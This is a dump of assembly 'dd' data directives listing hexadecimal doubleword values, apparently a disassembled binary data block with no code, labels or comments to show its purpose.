		dd 0A2ED38E5h, 9D334004h, 4DBD1FDDh, 13C557CAh,	0DAEC925Fh
		dd 132C455h, 0FB057148h, 0F8F83FEEh, 409B387h, 57C867CEh
		dd 3B6125B1h, 7D53321h,	7A472D2Fh, 0B202366Ah, 29B589B0h
		dd 82FDFC77h, 659509DEh, 2F616269h, 0F25FAD6Eh,	71E2D2F0h
		dd 0B826B3C4h, 4F77A368h, 82509B1Fh, 59D6CFA4h,	0ECF90FA9h
		dd 70F32C00h, 0C907E688h, 32D2B3D5h, 35E294D4h,	0F51B230Eh
		dd 2EDA90E0h, 8790D2A2h, 0BE18D17h, 2FFF29AAh, 0C58045DAh
		dd 2162AFABh, 45B2B800h, 0BD299B06h, 2E1441A9h,	0BBE5AD3Ah
		dd 29BB388h, 6DE0AB88h,	90F5E44Ch, 0F0D2A6h, 6EB4E723h
		dd 0A50BDDECh, 0FD4EFB14h, 466E4AA9h, 0D579077Dh, 942EA8A3h
		dd 0D484CC48h, 1EC2B100h, 0D5874DF1h, 9290721h,	0A4E5E19Ch
		dd 0A2A9BC6Ah, 6C3D5745h, 97343F80h, 174F4ECh, 60F071ADh
		dd 2835BD03h, 838A5C6Dh, 0C0A9AFD8h, 3CF5B9DCh,	88EFBDFh
		dd 8649240Fh, 8196EE32h, 0D303F32Fh, 564DD094h,	6058BC0Fh
		dd 0FFB6B201h, 9CF2BF09h, 5184FA79h, 58A8870Fh,	8204EFC1h
		dd 80342F5Fh, 0B96016FFh, 0DAEDD252h, 0AF9813A8h, 29BBAF00h
		dd 2B3F882Dh, 9F0EFCBDh, 0C8B8ACA0h, 0FE9A2EBAh, 3A78C19Bh
		dd 70760305h, 9D31AA15h, 6A52A1A5h, 19C8EE9Ah, 0D87FDFC0h
		dd 4A5D2DFCh, 3C330A10h, 0D3465400h, 0E717AC41h, 20D698B8h
		dd 801313EDh, 3AA3B1CBh, 5218C540h, 0B75AB298h,	0E766A07Dh
		dd 0E4092CC1h, 54EE252Fh, 145E359Fh, 0DB2CF62Fh, 25ED1CC7h
		dd 1BA79E73h, 35C61269h, 76FFF1C1h, 0E630E0B4h,	0B5909DE1h
		dd 0CD0027C8h, 8AFFAA1Eh, 50EC7C92h, 4E50836Bh,	82889B20h
		dd 0E67C52FBh, 8FBF0541h, 0EB548BEDh, 4E1DC5DCh, 130E9D05h
		dd 0A1D22988h, 0F8771457h, 85694BB5h, 0A1F2F721h, 940E88Fh
		dd 0AC6E74h, 67E5E77Ah,	0AE33FF69h, 56C4881Eh, 0D37FA043h
		dd 5F57B1E8h, 28B60C4h,	0DBB966D7h, 0F84E61CAh,	5A2E817Eh
		dd 0D00B5C93h, 0FCD6E626h, 0F28805F3h, 0BE961BB8h, 8A03CC9h
		dd 585A3606h, 75254008h, 13DFF253h, 0A9BD3396h,	0ACB64ABBh
		dd 6E3016B2h, 0B26F50F0h, 0B6284EF5h, 137F0245h, 5E85F622h
		dd 5D056BE5h, 0B880D405h, 8468A3BFh, 2C7AABh, 421A72FCh
		dd 430FBBEBh, 0D29D2D84h, 7F96481Ch, 12B74917h,	971CECEEh
		dd 20C340FAh, 5B895C62h, 4DB0901Dh, 8F96610Ah, 51BD05DEh
		dd 28FA8BECh, 2725CFEFh, 0C4D4E68Ch, 2CB5A4h, 3A7BE381h
		dd 0E63D4A83h, 301BB2DBh, 4507390Fh, 82862C5Bh,	1A04429h
		dd 0D5C1FB56h, 2FDF687Bh, 0F88ADD31h, 73B2282Fh, 67DE3BE1h
		dd 0FB4DBD80h, 5B2E2256h, 0CA6006F3h, 0E2450B3Dh, 0D5CB00DFh
		dd 0A55154CDh, 63287899h, 0B1298D04h, 61099322h, 5A785C2Fh
		dd 13D45656h, 0D296570h, 2E49A199h, 0F380EB02h,	0E81ED77Fh
		dd 4A2C5522h, 2E46E17Bh, 0FA96B19Bh, 0DE3DF730h, 0B9F94A87h
		dd 0A36A97A3h, 155B2C09h, 0BFDA98FFh, 0E7B123Dh, 7D8F360h
		dd 50ADB390h, 0C0156D49h, 0C1F36F2h, 2A949700h,	0B38EABBEh
		dd 11B72F4Dh, 0BFAC1693h, 5C22F9Bh, 98D59B2Eh, 458D8976h
		dd 0C6CA8581h, 8DE0B8Eh, 45BBF980h, 3F62ABB5h, 6410695Ah
		dd 0DD214B4Fh, 0D6A6AD3h, 0E319C16h, 0E812794Ch, 0F0908A05h
		dd 8A78BCA0h, 4A369097h, 0E2FE21h, 62F7A73Bh, 0D2F32659h
		dd 84797270h, 8A881935h, 577F64A1h, 0C67A9B95h,	28AB8B5h
		dd 49ABBBE5h, 0B776C5Fh, 56B989ECh, 0D6F6EA5Ch,	788C764Fh
		dd 56B2A251h, 815F806Ah, 0C12487DFh, 7AFB7D7Ch,	0E9F49BF3h
		dd 85829E6Ch, 0E0BF6E41h, 0BD64ED6Bh, 81CE1005h, 7C09AFh
		dd 259D03D1h, 6B710CA9h, 0DEAFA5C4h, 0E8CAC267h, 0DE1C2006h
		dd 0D809E0D0h, 7A525B77h, 0F5909D0Dh, 480045D4h, 775FBF0Dh
		dd 90E8BDh, 0FF20C723h
		dd 0D17FAE60h, 0D6C56827h, 330217C2h, 0FB88EC32h, 0AF007D97h
		dd 80E25FC4h, 7BDCBE7h,	6CFD3894h, 0B82AE4C8h, 7348807Fh
		dd 9829FEh, 8B9F74DEh, 0A42CA1ACh, 10033714h, 141110FCh
		dd 28DD5B38h, 367EC85Bh, 6B1C0C05h, 29C585FFh, 21AA6017h
		dd 6AFE8A6Ah, 0A4854B73h, 0ABDAE904h, 0D010658Eh, 33204F8Eh
		dd 0DB51B2h, 0CC40E09h,	9F2E818Ah, 0F10A851Dh, 0B7F64B89h
		dd 86078588h, 0F1B6C17Bh, 29B23F29h, 0DD8A6109h, 62A5F779h
		dd 9A1A7D4Fh, 12D4387Eh, 0FF01AC6Bh, 0FA50CE19h, 4ACE8A2Bh
		dd 7DB138A6h, 0AAD44562h, 4578449h, 0B34F0259h,	5B5E5BEBh
		dd 1A46DCh, 0D83EC648h,	95A0A8F5h, 98BBE230h, 88CE84Eh
		dd 7D9D2789h, 9BEC00EBh, 827BCB9Dh, 7F135171h, 9B4047CFh
		dd 50469CB8h, 4A05936Bh, 8811F209h, 9027AC5Dh, 41B02528h
		dd 11857D36h, 0BE6070E6h, 0FD2B7732h, 0B903E1C4h, 249520BBh
		dd 0B20CA861h, 0B8464A18h, 198508E8h, 7125C60Fh, 0DDAC0CD6h
		dd 0FABCFAA4h, 54741D80h, 0B10E2DBEh, 41168B59h, 81C1BF66h
		dd 5144D72Bh, 0ECC0BECFh, 0C40B2280h, 5106BA44h, 0BEAA8956h
		dd 55038957h, 0AEBB2C48h, 32E65412h, 0D901EBF1h, 0B8040C25h
		dd 0BD0104E7h, 292118D5h, 1892229Dh, 0D75CD18Bh, 9F94CB1h
		dd 91BA4D4h, 1B1252Bh, 0BC92B02h, 5F7C06AFh, 0B694FD6Bh
		dd 0D273DC00h, 0A5D4CFF2h, 3193276Eh, 20B3F61h,	92CB5E5Fh
		dd 0CC5ABC16h, 988D513h, 0E90BC5B0h, 20014849h,	0DBB5204Bh
		dd 60B0A6BBh, 0CCC16018h, 0BA78CA16h, 0B8E481BCh, 0A74788CFh
		dd 88001FC4h, 48052C30h, 36B584Dh, 152925ABh, 0F4287759h
		dd 0FE4A3AA5h, 0ADD3B020h, 0F6D60B66h, 88881D1h, 78EC2F96h
		dd 20AA914Ah, 0E0E2FFBDh, 19093A77h, 7B164777h,	0FD2408DAh
		dd 66989820h, 91769F9Fh, 0F1508016h, 4C0F53EFh,	51822780h
		dd 0EE755F5Bh, 5881B3BCh, 85AC89A0h, 120D6D00h,	0B9DB7146h
		dd 0BA1BD731h, 0EEB30631h, 9B1C133Ah, 622A8FA9h, 0DE0A4E3Eh
		dd 1320108Eh, 81AD8509h, 14B7FC25h, 46CB9A04h, 0AF1EB505h
		dd 0D5008565h, 0D22B8896h, 4189980Bh, 623D2F11h, 40A2272Ah
		dd 15811334h, 0C49E4102h, 0F14E929Ch, 0C0DC1F81h, 214C18C9h
		dd 4401F902h, 8A748BC7h, 8E884379h, 5B160B19h, 86F13752h
		dd 24C7A6Bh, 0A28AAFA3h, 0EB807496h, 1C50165Bh,	75B51309h
		dd 3B6CA706h, 28A91689h, 9BC4FBCh, 0C2019D26h, 7980B789h
		dd 0FAA345E7h, 0D43AC07Bh, 1C8EFE26h, 8102202Dh, 586751C7h
		dd 57F5924Eh, 0D6E013EDh, 306AC1h, 34D9CE5Eh, 4B5999BBh
		dd 0DE8B4713h, 0C85F17A3h, 6000CCFAh, 0F732D8B5h, 1D81FF87h
		dd 53DC1D49h, 0E2D2A6E1h, 0D782800Fh, 8E57E5h, 52DB19B8h
		dd 2A5C84BBh, 45F373Bh,	74D8B959h, 0FFA3F2BCh, 46BD6E5Eh
		dd 0E2009CBCh, 177FC4CFh, 48EDB40h, 4C9AEEBBh, 0A315E862h
		dd 0AD6C5AE4h, 2320BD9Fh, 0BFED4B2Fh, 959D3630h, 3A1C9D28h
		dd 0F8637662h, 0E4754D60h, 1E32D2EAh, 0CF95020Bh, 5CE45561h
		dd 0A7222D21h, 71C20A4Dh, 19687565h, 0BD4C3331h, 33F592FFh
		dd 263AE57Fh, 2F82F1D7h, 5BE96530h, 371F88D5h, 7CAC9801h
		dd 0A1BC35E6h, 82452A2Eh, 0E0CD60B4h, 7B76C928h, 0FC955E4Ch
		dd 47F5D2E6h, 0BCDABD2Ah, 0DF530403h, 82B3F489h, 678E877Ch
		dd 8D568ECBh, 9549F869h, 0BBB682FAh, 38CF60DCh,	8C99A1BBh
		dd 1F680100h, 60544DBEh, 6EC7B651h, 0B9C88A44h,	0BDE01F40h
		dd 78B85496h, 3B854680h, 0B0044D10h, 0CEBA1C6Dh, 0FC0111E8h
		dd 0E9B2D496h, 1F342E2Eh, 0BC2BAAB0h, 699F89E9h, 92ECB0D7h
		dd 4A828201h, 0E45E9E1Ah, 95BE7069h, 6C86D93Dh,	4F861ADBh
		dd 7AC0F251h, 60024FB5h, 0AD7D5D01h, 0B6DFE031h, 322F134Fh
		dd 0B7FD89C5h, 137384BDh, 0EBC2FABBh, 2F65454Fh, 760289B5h
		dd 0F7897B94h, 8310DF31h, 0F99F7225h, 894BA07Fh, 0F5ED0068h
		dd 0B3C5FFABh, 849798C2h, 88AF2BB3h, 5063963Bh,	0B45569F2h
		dd 2BE2A6B6h, 0B6002846h, 7F73D7D2h, 0F060770Ch, 0ED5104CCh
		dd 0BE9E16A4h, 0ACB8DE94h, 151E8CEh, 0C93FB78h,	0E27374ABh
		dd 0EA9C7C07h, 0BBE0901Ch, 3409685Fh, 2102A27Ah, 0BD79CB6Ah
		dd 0E0DD6DDEh, 0BD22589Eh, 0C740939Eh, 5ACAC64Ch, 0E4BDBD3Ah
		dd 80C0DCB8h, 0BB90F5C3h, 0C8F36F1Fh, 81C050DDh, 971636F7h
		dd 0E04CB771h, 1E1D9D10h, 0EC536116h, 795F2DDBh, 3D9DC10Ch
		dd 18BB0026h, 0F25A5A3Ah, 764EC911h, 6695F67Fh,	43E925FBh
		dd 2DD8405Bh, 0A54D04EFh, 0FA750B8Dh, 3A2E55CDh, 1284E75Ah
		dd 0D987C140h, 0DD1FAB43h, 0A94147A0h, 5B793252h, 5E8355E0h
		dd 3F2DFh, 37490B41h, 2F2588Eh,	3F090A4Dh, 2B5EDAADh, 0B5045250h
		dd 87407E4Fh, 1E61893h,	0ABC76DBBh, 22F88B5Ah, 671FCD0Ah
		dd 0E87CDAFDh, 8280B952h, 0C1EA3B47h, 72A9364Ch, 975B1040h
		dd 37D7FA1Ah, 5160020h,	6F3F3B1Ah, 79F35E25h, 8D0982FCh
		dd 0BA570375h, 6445409Ch, 298CCDF6h, 75E62A21h,	853015B2h
		dd 0BD23098Ch, 0D1D63065h, 8B80DE80h, 9F515022h, 292F6980h
		dd 0C40DDFB8h, 56611C9Bh, 2C263021h, 6C1C7FF0h,	0F0A8395Bh
		dd 50481A20h, 5AD1287h,	3AB829AAh, 1BE9F420h, 731FAABh
		dd 0D1275C80h, 0DA3880A0h, 54B80146h, 4BD22553h, 2D5A1196h
		dd 937329C1h, 0F3181579h, 0C204194Fh, 13BDC794h, 0A11EB6D3h
		dd 0CD6E6CF1h, 81A13FFCh, 1244AFA7h, 5C85CE25h,	1A5D496Dh
		dd 40BC749Bh, 97144478h, 4640CC02h, 5D5B8537h, 8408115h
		dd 6FE882h, 0C86DE461h,	71381BFh, 90B96A4Bh, 6721FE97h
		dd 0B63EC283h, 1C00F532h, 985D6A0Ch, 60E512B2h,	37D4BA33h
		dd 61C007C1h, 0EF00AA63h, 293C96B4h, 0E400EE1Eh, 3A5C45F0h
		dd 9994CD0h, 0BC4AF6F1h, 3EC97978h, 1A487BFAh, 0BC024980h
		dd 0D7FEB886h, 8D7414E0h, 1253FEE4h, 0AB6A1A3Dh, 30F4E6Fh
		dd 96C32274h, 8C126047h, 0A715B6C7h, 92F75A76h,	0D40C2BB1h
		dd 952760ECh, 25B4F86Bh, 8FFCBD63h, 0A1446D6h, 878C0F4Bh
		dd 82C88549h, 555F9922h, 9097ACE4h, 759E1h, 16F884B3h
		dd 4676F38Ah, 0D89B965Ah, 0A230DE80h, 6AB712F4h, 5F950933h
		dd 0D1A524BDh, 82CAA500h, 2597BD55h, 0C4256A7Ch, 0F0A80059h
		dd 0F551C459h, 0D72D1F07h, 0D6599056h, 0F4E313B2h, 642CFF9Dh
		dd 0BE94975Fh, 250B3444h, 32595D9Dh, 37ADF893h,	2A25A4ECh
		dd 23F562Eh, 139D8589h,	0E9EA3F74h, 1010E109h, 0ED2C89EFh
		dd 81DC986Bh, 0B93ECF3Dh, 79BCCE8Fh, 6FC501AAh,	0DDB39FC4h
		dd 807D302Fh, 949717F7h, 8A2B447Eh, 3DDDF94Bh, 66A1D576h
		dd 12CD2DC6h, 36F29684h, 279760CAh, 449054F2h, 20BC494Ah
		dd 87DADB4Ah, 0DE102DA2h, 1A943F7h, 0BB106324h,	60B9FCFAh
		dd 3309C189h, 5E12B19Dh, 1A46DEEFh, 6517E65Bh, 8C88B5CCh
		dd 69756BBDh, 3B181855h, 0F0E100A1h, 0D87ACF98h, 0FA4B8BF1h
		dd 0BB0176ADh, 232F4480h, 0D0DB2E6Ah, 0B266FC0h, 225E95BDh
		dd 0A70B9E7Eh, 6DF805D6h, 9EC09680h, 0D1677BB5h, 2FC7D155h
		dd 0A1A23913h, 0DE750902h, 4C56324Fh, 709B5BA5h, 0FE00E006h
		dd 0D9FB8E78h, 0BD6A215Fh, 0DDE0474Dh, 0BA853FEh, 0F1C2A27Eh
		dd 0AAE12184h, 0B0E7BAF7h, 2FFFF5D9h, 0FC53B92Fh, 0AF2212ADh
		dd 25032628h, 406271BDh, 9112B557h, 9E6E811Ch, 8FC43CDBh
		dd 5C7B0FD9h, 11CB8D29h, 0B7A78A5Ch, 54C000D7h,	2B31AEFAh
		dd 0EDC2D54Eh
		dd 713C5E10h, 0AD020863h, 0BF29E0C9h, 0BA096FDBh, 0F62D585Fh
		dd 20DF09D6h, 0CABD82D7h, 2DEB5C3Ah, 309F3191h,	0D800D648h
		dd 309E551Dh, 5189BE2h,	0B160310Fh, 6C8CBB9Ah, 585A0161h
		dd 5BD2B90h, 1F9C2E2Dh,	477D02BBh, 4DE94CF9h, 48961CD7h
		dd 0F64E90CAh, 882F034h, 4AE227F9h, 0F5C01090h,	102FA000h
		dd 0E8D85BD1h, 4AC23EE5h, 582AA603h, 7182A50Eh,	8B65F35Ch
		dd 608EA7FCh, 29950B3Eh, 372C1CDEh, 901461C7h, 0ACBC20ABh
		dd 251EA273h, 30C05DBAh, 4B6D794Ch, 0E26E03F2h,	0BBCB43B9h
		dd 48D81CB8h, 43A45F5Fh, 95310C90h, 0B730D7Dh, 1A4D8D12h
		dd 6FC17FD0h, 616C2D53h, 1571E373h, 8B4B1B18h, 0DD6A04D9h
		dd 0B01E26CFh, 3F361B0Eh, 90094816h, 32DF31AFh,	0DF96C0A2h
		dd 51FF2C6Ah, 10212659h, 10934C1Fh, 61120AD9h, 0B56EE5Fh
		dd 9B6557FBh, 48838027h, 9A0C9EBh, 1FEFCFB3h, 0E06A5A5Ch
		dd 7907AD09h, 45454400h, 1707800Fh, 0B2D1E381h,	22F476Dh
		dd 20599D06h, 5A4E7913h, 0C9B3BC10h, 44F172D8h,	2B2F561Ch
		dd 4BDBDA9Dh, 0C2DA845Bh, 0D35CD90Dh, 4895949h,	0BE2FF589h
		dd 0E84AFD9Fh, 0AB911A9h, 0CBC1A040h, 9A574914h, 0B59F66ABh
		dd 789816D3h, 0D605552Eh, 4621EF99h, 0C81303ADh, 49FF104Bh
		dd 1298D152h, 0EA00463Dh, 0C3DEA1AEh, 2D2A0EF7h, 7390B970h
		dd 0A290DF8Bh, 0FF1332A3h, 7F939523h, 51A1261h,	0D8A7D214h
		dd 1570A1A9h, 0F400E5A6h, 4E20F059h, 239854h, 0E9D5DFCFh
		dd 614CD86Fh, 57D0EB09h, 442E7AD3h, 0DE0B0B05h,	0FB74385h
		dd 0EB236D43h, 1020482Eh, 5705D562h, 0BF81F3F9h, 56AAA6CEh
		dd 40CCF37Ah, 1A5A3188h, 262247F6h, 1F157BB7h, 2B22D9BDh
		dd 0FE2140A5h, 8928DA8Ah, 2AC47E95h, 0CAAB0919h, 128C0B56h
		dd 0DEEAFC0Bh, 5C9E2025h, 85294180h, 0FF4EA41h,	28EB8D96h
		dd 6900A415h, 0FC473DEEh, 3B048A2h, 0E3CFD71Eh,	2FC8CD83h
		dd 0BBD8702h, 399402F8h, 12F1572Ch, 0B9C09840h,	92094E02h
		dd 0B0A93909h, 76698074h, 23A20924h, 6696EC70h,	590A13DCh
		dd 9F6B0A3Eh, 5DD225E5h, 96EFC5Ah, 49807B1Dh, 0C1C2F877h
		dd 46724F75h, 0CB7EE28Ch, 0D22BA912h, 3CBFC8h, 0F0C6E29Dh
		dd 95796477h, 0A582D1B5h, 0C2AD0EC7h, 0E23ACD59h, 0AF60DB6Fh
		dd 6948DADDh, 19CD103Fh, 210B894Bh, 6A1BF570h, 0E6D29DF2h
		dd 38DFA017h, 0ECFD4E9Eh, 29E91221h, 18BC61E9h,	22E9048Ch
		dd 0BC6F7A64h, 3140AD0Fh, 4EF6ED66h, 0CB2B061h,	11FAE795h
		dd 74204F41h, 2F7535Bh,	0B9ADEC1Eh, 0BE59B85Fh,	8799D84h
		dd 4AD4B352h, 0E1FF1B81h, 954C887Ah, 8A0BAC00h,	0A0DB22D6h
		dd 0C1810060h, 64C31185h, 0B95F8D01h, 5C5FCED2h, 3CE50B1h
		dd 0D024D395h, 17042B6Bh, 1DB3B79Ch, 0BAA1AAB8h, 89E2B03h
		dd 4E5ABD93h, 5E9F0FB0h, 0C0CD2754h, 0A6F45635h, 1B36D600h
		dd 40A815DEh, 0F3F00482h, 0B81DD274h, 243CA2BAh, 0B8C8E960h
		dd 70C5276Ah, 0FEE91257h, 0FA8A62F8h, 2D160AF6h, 0F889CEBCh
		dd 801EBD57h, 40A3EDD6h, 7E25B477h, 9BBC816h, 2E4F9501h
		dd 388A2D40h, 947A02E3h, 16C6F00Fh, 18F8045Dh, 95B53102h
		dd 276DE5D5h, 3600EFE4h, 0C0EB71F6h, 98772531h,	261F0228h
		dd 35171AE9h, 0E5555068h, 0AE8C5B4Bh, 0E39053F5h, 0E496CC00h
		dd 58AF858h, 36FC3AFFh,	0C3BF50A0h, 649E3F09h, 83BDB790h
		dd 9C5ECE1Dh, 0DB813E00h, 3214A52Eh, 3FAD1D68h,	9AC225BEh
		dd 310F9EE0h, 0EB806FB9h, 79C97265h, 28BF12C0h,	7F52ABD8h
		dd 19523FA0h, 3C68A13Ch, 0F3352ADFh, 0CED502FEh, 0C6575792h
		dd 8D8913B6h, 0ACAFD4F5h, 0E7BFC09Dh, 160270A1h, 710142E9h
		dd 0C8EF33A2h, 6E00069Eh, 0C45B1DAEh, 2ED597Bh,	65903A1Ch
		dd 0B65CA009h, 0B62ACE6Dh, 359D12E7h, 0B5FF45AEh, 0ECC2EDDBh
		dd 26AF3F6Fh, 0F5D8C702h, 995C3A15h, 72A58868h,	1101212Ah
		dd 97465849h, 1C04F4Dh,	4FD6D1E5h, 35CEBCFFh, 0D6A0611Dh
		dd 6FD1B7FEh, 0BD6D8380h, 314C73D6h, 5B9BA332h,	0B8E63D96h
		dd 12705E37h, 2763B309h, 408A7E89h, 0CB0EDF68h,	0DBB0825Bh
		dd 32756209h, 5D61D1h, 53F520E1h, 0CA8EA37Dh, 6B1FF2Dh
		dd 0CDB0E317h, 4F009AD8h, 0B893273Eh, 12F0C024h, 0E32E08A1h
		dd 90F8123Eh, 0BFC0CAA8h, 62F517CDh, 0FB89504Fh, 3FF2DCh
		dd 38A766DCh, 3B931896h, 9C31902Ch, 4DFF7925h, 82A82E9Ah
		dd 0A7F66125h, 7758BFDCh, 32D78B07h, 5E2B8DCCh,	1A46F65Ch
		dd 0CB144800h, 0A41F1EE8h, 4F7E9495h, 0C5CE9E46h, 9C2A259h
		dd 0EF3D7F3Eh, 0F1D7118Bh, 8067A523h, 0A40D445Eh, 88844309h
		dd 40100ECAh, 0E40C3E92h, 7ABB096Eh, 6DF1564Ah,	29598542h
		dd 0D7057F0Bh, 47CF2C56h, 0B7BB25C0h, 9D130487h, 67888773h
		dd 94FBCB89h, 9EF59A70h, 85A027B7h, 442CBA66h, 5A56ECB5h
		dd 0AD83B9F8h, 9C00D637h, 97F28A5Fh, 0A66405EAh, 0A5BAB578h
		dd 61823B98h, 0D1960420h, 0D041F70Dh, 0EF1E3EBEh, 5795061h
		dd 9665A71Ah, 8DE598BAh, 0B802792Fh, 3EBD2B60h,	0AC4A32F9h
		dd 0E6DAA5BEh, 7563F780h, 0B9024CF0h, 71952905h, 6E94D732h
		dd 0D85BD1Fh, 33747B2Dh, 0AAB4A9A4h, 0DA5B9FCBh, 0FC34833Fh
		dd 0B0F7F319h, 0B70E7C46h, 5E5ABA5Bh, 6E9C04Dh,	0BB04C537h
		dd 38B7ED81h, 844AE3ACh, 0E409FE9Dh, 0EBE85608h, 0E5C64082h
		dd 12C49F56h, 19458740h, 1300ADEEh, 2717EC28h, 4B42962h
		dd 0B952A6F8h, 5823AED3h, 0D084CBF3h, 17E6578Dh, 0BCFA4E6Eh
		dd 0CAB15AFFh, 0C1E1DB3Eh, 303BE573h, 1920B43Ch, 46536054h
		dd 75007A7Bh, 2E7BA36Eh, 4F83371h, 0A00FC4DFh, 53BAC779h
		dd 3107058Eh, 0A67D5BBh, 27DE5B19h, 0C1D19075h,	0F1B30262h
		dd 0D53648C8h, 0F9E2C9F6h, 0A396040Dh, 0AAB33E94h, 0B0B4D50h
		dd 55FE03E5h, 0BD965F00h, 3E07C9B1h, 0D75FDF79h, 4AF4D95h
		dd 0BD482A35h, 800B889Ah, 857D45B3h, 0AE045FA0h, 0F70ADBFCh
		dd 65121EFBh, 719D8266h, 4645A5B8h, 95621217h, 8A50010Ah
		dd 45012BDDh, 10699531h, 0C892C422h, 0AA00EAC1h, 36D5CA83h
		dd 1D513318h, 0C9E4548Ah, 2C5905C9h, 81F86080h,	0BB2DC0h
		dd 0BF615225h, 46017E14h, 1EBB2EA4h, 0D5263189h, 0C2ABBAh
		dd 0C50965Ch, 9BE6012Ah, 126ADB9Ch, 30282B2Dh, 77C2E14Ch
		dd 11704CFBh, 0A7DE2DDDh, 5053B009h, 50D1DBA7h,	0FC091B7Ch
		dd 588CB136h, 4951B555h, 40576DE9h, 276EB1C8h, 0F72B0325h
		dd 9D236823h, 0E90891BCh, 75856BD4h, 12090004h,	0FBBBB305h
		dd 9FC5BA11h, 57FE95D7h, 4EDDA38Ah, 61CA0EBCh, 2BA539D8h
		dd 5BA76D65h, 2D6550A3h, 0CF3DA601h, 0DDCFCC9h,	9591B7ECh
		dd 0C2D6D20Eh, 5F051FAAh, 0F1809DECh, 0CC99D13Eh, 0ED7A8269h
		dd 0E039C2FBh, 80D2C45Dh, 0A011FD91h, 9C8D0167h, 0EF80861Ah
		dd 0F512F0DAh, 0BB440BACh, 0AA5314D9h, 23654D44h, 5CE1900Bh
		dd 0C9B2BFAh, 0CC061CC0h, 1A04CE01h, 6C5A7736h,	85D660BAh
		dd 408213C5h, 97A42825h, 4B46BF4Fh, 3EF969AEh, 12E11B82h
		dd 0AD609655h, 22296352h, 2BC7E2F9h, 0B5893330h, 18FFB1C5h
		dd 2211CED1h, 5EED1C95h, 844B9FABh, 0B2AEA4EAh,	26A09B7h
		dd 0F73C8829h, 7ABF5083h, 4A44BA1Eh, 0E337D53Dh, 3918E38h
		dd 0EDE5C1CAh, 567CD4F0h, 69089280h, 6F00312Ah,	6BF5AD30h
		dd 2611256h, 4275C5B1h,	5551276Ch, 6D5D3100h, 354AEE7h
		dd 0ABEEEFB8h, 5FC2781Eh
		dd 913835D7h, 0E31F8019h, 12C90613h, 0ACF4E9B5h, 0ACFFE12Fh
		dd 0BC77BD2Eh, 909E1FB5h, 87934959h, 76E33A55h,	512D4B9h
		dd 0C0B0F95Dh, 807A9C53h, 3CBF310Fh, 54978376h,	89044912h
		dd 4A2CFCF1h, 0F67E098Dh, 1D6FF0FBh, 0E0E54E92h, 89BD6D42h
		dd 521654C7h, 4D4B7F6h,	0CBEA5A4h, 28350464h, 772EF7BAh
		dd 0E1787E93h, 5991F389h, 31B5080Dh, 0A2601415h, 0CD5BF92Dh
		dd 9F580891h, 0A0D4AC5Eh, 252A4426h, 0F5402DCEh, 4427195h
		dd 0C29CBF02h, 0F551825h, 1FD1E4E8h, 4902D963h,	0A8B63ABBh
		dd 0CE105503h, 0C4AE4CBh, 8B2DC9A3h, 0B02CA54h,	0D5333D9Dh
		dd 0D8B7AD98h, 947E1095h, 12960092h, 36DF1AA1h,	0A517E262h
		dd 0FAA6A82Ch, 51DF0A5Fh, 11E90E4h, 60C82B5Fh, 61F22AB1h
		dd 722D0115h, 0BD29D102h, 45D50855h, 2D1508DCh,	86EB8004h
		dd 0F462C7A8h, 90D518EDh, 880AE9AFh, 0A8003A84h, 0E1A9265Fh
		dd 95B8F568h, 264B228h,	46E9CBB3h, 0FE16A7Eh, 0C0FA9769h
		dd 95CE9AC0h, 744C3B56h, 981E4AD9h, 228B24B6h, 0A5FEADEAh
		dd 6BFE1BA1h, 446850A3h, 9C82468h, 0B4511175h, 0B1DC041h
		dd 0F797F62Ah, 6F6A5FE2h, 5DE841E5h, 0A99D2A1Eh, 0DEB0F266h
		dd 0AF4A8643h, 50F107E0h, 40CD84B4h, 9D2DB932h,	0D03DDB08h
		dd 5A2DC534h, 1F4AC412h, 269065h, 9D339A0Ch, 248B0AE5h
		dd 42161178h, 0D4D9FCE1h, 2A9D7400h, 1704652Dh,	0A27ABB08h
		dd 8C3E0021h, 831950B6h, 0FC5B25C3h, 0C02B5802h, 4D07D546h
		dd 0F8645880h, 6A9BD2C5h, 6AD84ECCh, 0E7304906h, 70B44A3Bh
		dd 0CE4D9575h, 0C0504DA5h, 0BA37C50Bh, 0C48BD72Dh, 0CD2B001Fh
		dd 0D500A5Ah, 38006657h, 86FD1ACFh, 0A0DB8131h,	904ED1B0h
		dd 9585753Eh, 0B289C53Dh, 0ED2E8021h, 47FDF81h,	0F5220F3h
		dd 8DCDBE89h, 4004242Ah, 275BB653h, 0E700D7A6h,	6BBAE3F8h
		dd 0BFF31ACDh, 5B5B7072h, 0AA5EB8h, 83D46D38h, 129224Ch
		dd 0D8A9B960h, 2B611BF6h, 33041835h, 2FAB3055h,	0C1B84F0Dh
		dd 82680972h, 0FA510D55h, 0C2DFB045h, 6812FB96h, 681304BFh
		dd 0ADFEEB8h, 96BFA480h, 0AAA20C84h, 542FB27Eh,	30B5DE95h
		dd 0C8A8DC9h, 0CC8F8998h, 392DB5D4h, 0A6197111h, 0B200D6F0h
		dd 0D7486F99h, 41298501h, 1B8D3F0Dh, 3396827Fh,	11C667F5h
		dd 0DA8A125Fh, 0EF9249B2h, 61645352h, 22A114A8h, 0A3987B04h
		dd 80F000F9h, 0E6052AE5h, 0B32C4B6Ch, 45603788h, 2CDAEC3Dh
		dd 16FAC402h, 8005AC60h, 0D6047B61h, 7E0F8F4h, 1EF9CCDEh
		dd 0FE86613Eh, 8EB7F8C6h, 89575B13h, 0B55A02A2h, 2B8BCD13h
		dd 29C02257h, 0F6BBEFE0h, 0F56125F1h, 1DA0968h,	9F9B7AE1h
		dd 379462C0h, 7C4EEF80h, 1CAC1FADh, 1D8B008Ch, 0D460E516h
		dd 824FB194h, 797C6988h, 67F50071h, 0FF64AD39h,	57161484h
		dd 0ED05D3A7h, 56C0AAFCh, 0B8525FFBh, 4165B0BAh, 0C761DD2Dh
		dd 4F29ADE4h, 82E888ADh, 0C888D94Bh, 1AD4017Eh,	88A9D14h
		dd 91D440BFh, 90155F2Bh, 155250h, 0AEBA7C40h, 13997DF1h
		dd 0F8310F5Fh, 905B8066h, 0B98F1Ch, 29682F6h, 6D482528h
		dd 0A1E8E44Bh, 902AB709h, 9818D37h, 659CEDD9h, 0B4108A45h
		dd 99B95F80h, 8C0022E8h, 0F0A6B6FAh, 0EBDA1897h, 0F86D896Fh
		dd 8D1FC5B9h, 6540E12Bh, 535FBBCBh, 40CB9809h, 519D5B01h
		dd 0FC8A4142h, 0FE06A550h, 930D6200h, 54274908h, 85A86CA7h
		dd 5326592Dh, 18177954h, 8605120Ah, 2FADB189h, 0E0B0B8F7h
		dd 0E1BEE6B0h, 0E90B2A10h, 83D4017Dh, 0A9CF01F4h, 504390C8h
		dd 9BE9F8BFh, 0DACC514Ah, 2D9D1609h, 0B454B804h, 1406866Bh
